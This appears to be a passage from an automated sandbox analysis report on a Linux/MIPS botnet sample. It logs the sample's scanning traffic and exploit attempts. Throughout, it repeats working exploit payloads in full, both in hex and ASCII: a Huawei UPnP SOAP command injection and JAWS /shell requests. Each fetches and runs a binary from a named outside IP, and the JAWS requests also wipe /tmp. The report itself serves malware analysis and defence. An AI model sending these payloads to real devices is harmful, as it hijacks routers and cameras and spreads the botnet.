3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: /tmp/spc.elf (PID: 6220)Socket: 127.0.0.1:46157Jump to behavior
              Source: unknownDNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)
              Source: unknownTCP traffic detected without corresponding DNS query: 78.106.155.116
              Source: unknownTCP traffic detected without corresponding DNS query: 14.77.40.180
              Source: unknownTCP traffic detected without corresponding DNS query: 85.55.128.116
              Source: unknownTCP traffic detected without corresponding DNS query: 19.194.182.114
              Source: unknownTCP traffic detected without corresponding DNS query: 136.163.161.166
              Source: unknownTCP traffic detected without corresponding DNS query: 43.116.213.117
              Source: unknownTCP traffic detected without corresponding DNS query: 115.251.138.255
              Source: unknownTCP traffic detected without corresponding DNS query: 86.98.166.227
              Source: unknownTCP traffic detected without corresponding DNS query: 80.218.36.21
              Source: unknownTCP traffic detected without corresponding DNS query: 186.36.16.153
              Source: unknownTCP traffic detected without corresponding DNS query: 62.26.155.116
              Source: unknownTCP traffic detected without corresponding DNS query: 85.71.128.116
              Source: unknownTCP traffic detected without corresponding DNS query: 219.8.229.7
              Source: unknownTCP traffic detected without corresponding DNS query: 64.230.57.252
              Source: unknownTCP traffic detected without corresponding DNS query: 146.224.75.232
              Source: unknownTCP traffic detected without corresponding DNS query: 70.157.117.190
              Source: unknownTCP traffic detected without corresponding DNS query: 99.220.28.87
              Source: unknownTCP traffic detected without corresponding DNS query: 189.85.67.233
              Source: unknownTCP traffic detected without corresponding DNS query: 137.131.15.67
              Source: unknownTCP traffic detected without corresponding DNS query: 71.51.255.243
              Source: unknownTCP traffic detected without corresponding DNS query: 13.9.24.54
              Source: unknownTCP traffic detected without corresponding DNS query: 120.1.48.228
              Source: unknownTCP traffic detected without corresponding DNS query: 53.141.70.168
              Source: unknownTCP traffic detected without corresponding DNS query: 107.7.206.29
              Source: unknownTCP traffic detected without corresponding DNS query: 175.29.66.226
              Source: unknownTCP traffic detected without corresponding DNS query: 188.248.208.136
              Source: unknownTCP traffic detected without corresponding DNS query: 189.186.226.168
              Source: unknownTCP traffic detected without corresponding DNS query: 223.14.73.140
              Source: unknownTCP traffic detected without corresponding DNS query: 173.29.208.225
              Source: unknownTCP traffic detected without corresponding DNS query: 165.199.249.64
              Source: unknownTCP traffic detected without corresponding DNS query: 134.228.25.219
              Source: unknownTCP traffic detected without corresponding DNS query: 44.220.246.255
              Source: unknownTCP traffic detected without corresponding DNS query: 12.195.145.91
              Source: unknownTCP traffic detected without corresponding DNS query: 116.66.62.89
              Source: unknownTCP traffic detected without corresponding DNS query: 91.101.46.36
              Source: unknownTCP traffic detected without corresponding DNS query: 213.53.91.127
              Source: unknownTCP traffic detected without corresponding DNS query: 27.253.151.75
              Source: unknownTCP traffic detected without corresponding DNS query: 25.227.229.232
              Source: unknownTCP traffic detected without corresponding DNS query: 160.43.173.212
              Source: unknownTCP traffic detected without corresponding DNS query: 39.88.8.230
              Source: unknownTCP traffic detected without corresponding DNS query: 207.189.99.50
              Source: unknownTCP traffic detected without corresponding DNS query: 19.115.216.35
              Source: unknownTCP traffic detected without corresponding DNS query: 74.200.21.240
              Source: unknownTCP traffic detected without corresponding DNS query: 65.26.117.90
              Source: unknownTCP traffic detected without corresponding DNS query: 14.15.255.58
              Source: unknownTCP traffic detected without corresponding DNS query: 2.254.234.19
              Source: unknownTCP traffic detected without corresponding DNS query: 213.166.199.51
              Source: unknownTCP traffic detected without corresponding DNS query: 91.50.134.108
              Source: unknownTCP traffic detected without corresponding DNS query: 152.183.28.129
              Source: unknownTCP traffic detected without corresponding DNS query: 178.187.197.167
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
